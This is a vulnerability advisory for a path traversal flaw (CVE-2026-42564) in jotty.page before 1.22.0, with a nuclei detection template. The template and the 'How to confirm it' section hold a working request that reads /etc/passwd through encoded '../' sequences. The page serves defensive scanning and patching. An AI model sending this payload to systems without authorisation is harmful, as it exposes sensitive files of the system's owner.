jotty.page < 1.22.0 - Path Traversal

highseverity

8.2CVSS score

1.2%likelihood of exploitation, next 30 days

68%of all CVEs are less likely

Readycheck to confirm it

jotty·page < 1.22.0 contains a path traversal caused by lack of validation on filename parameter in /api/app-icons/[filename], letting unauthenticated attackers read arbitrary files outside intended directory.

Impact

Unauthenticated attackers can read arbitrary files outside the intended directory, potentially exposing sensitive data.

Fix

Update to version 1.22.0 or later.

How to confirm it

Send: GET {{BaseURL}}/api/app-icons/..%2F..%2F..%2F..%2Fetc%2Fpasswd
Positive when: status_code == 200 and contains(to_lower(content_type), "application/octet-stream") and regex("root:.*:0:0:", body)

Run it with nuclei: nuclei -id CVE-2026-42564 -u <target>

The full check

id: CVE-2026-42564

info:
  name: jotty.page < 1.22.0 - Path Traversal
  author: Het-Kalariya
  severity: high
  description: |
    jotty·page < 1.22.0 contains a path traversal caused by lack of validation on filename parameter in /api/app-icons/[filename], letting unauthenticated attackers read arbitrary files outside intended directory.
  impact: |
    Unauthenticated attackers can read arbitrary files outside the intended directory, potentially exposing sensitive data.
  remediation: |
    Update to version 1.22.0 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42564
    - https://github.com/fccview/jotty/security/advisories/GHSA-7843-gwq8-g96f
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-42564
    epss-score: 0.01157
    epss-percentile: 0.67316
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: fccview
    product: jotty
  tags: cve,cve2026,jotty,lfi,traversal,unauth

http:
  - method: GET
    path:
      - '{{BaseURL}}/api/app-icons/..%2F..%2F..%2F..%2Fetc%2Fpasswd'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(content_type), "application/octet-stream")'
          - 'regex("root:.*:0:0:", body)'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from